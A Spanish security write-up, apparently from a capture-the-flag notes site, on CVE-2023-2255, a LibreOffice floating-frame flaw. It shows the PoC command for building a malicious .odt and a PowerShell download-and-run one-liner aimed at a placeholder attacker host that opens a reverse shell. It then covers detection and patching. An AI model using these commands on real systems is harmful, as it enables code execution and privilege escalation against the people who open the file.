the_open_door
café
ESEN
← Volver al índice

Code execution in LibreOffice via floating frames (CVE-2023-2255)

CVE-2023-2255 es una vulnerabilidad en LibreOffice (versiones anteriores a 7.4.7 y 7.5.3) en el manejo de los floating frames (marcos flotantes, análogos a los iframe de HTML). Un documento puede referenciar un recurso externo en un floating frame y, en las versiones afectadas, LibreOffice lo carga automáticamente al abrir el documento, sin pedir confirmación. Embebiendo un script/macro como recurso del marco, abrir el documento ejecuta código con los privilegios del usuario que lo abre.

En un escenario de escalada, esto se combina con un directorio o share que un usuario privilegiado abre periódicamente (p.ej. un Important Documents donde los ficheros "desaparecen" porque alguien los procesa). La PoC más usada es elweth-sec/CVE-2023-2255, que inyecta un comando arbitrario en un .odt:

python3 CVE-2023-2255.py --cmd 'cmd /c powershell -enc <BASE64>' --output exploit.odt

El --cmd suele ser un powershell -enc con un one-liner que descarga y ejecuta una reverse shell. El payload se codifica antes en UTF-16LE + base64 (lo que espera -enc):

echo -n "IEX (New-Object Net.WebClient).DownloadString('http://<atacante>/reverse.ps1')" \
  | iconv -t utf-16le | base64 -w 0

Se deja el .odt en la ruta que la víctima abre y, al hacerlo, la macro lanza la conexión: shell con los privilegios de ese usuario (en Mailing, localadmin).

Cómo detectarlo. La firma definitiva es de linaje de procesos: soffice.bin/LibreOffice lanzando powershell.exe/cmd.exe/sh como hijo al abrir un documento (Event ID 4688 / Sysmon 1), algo que abrir un .odt legítimo nunca hace. En disco, un .odt/.docx que contiene un floating frame referenciando un recurso externo (una URL o un script) es detectable descomprimiendo el fichero (es un ZIP) y revisando su XML. El vector suele apoyarse en una carpeta que un usuario privilegiado abre periódicamente: una conexión saliente justo tras abrirse un documento en esa ruta es la cadena.

Defensa. Actualizar a LibreOffice 7.4.7 / 7.5.3 o superior (los floating frames dejan de actualizarse solos y requieren intervención explícita); desconfiar de documentos de origen no fiable.

Máquinas donde se aplica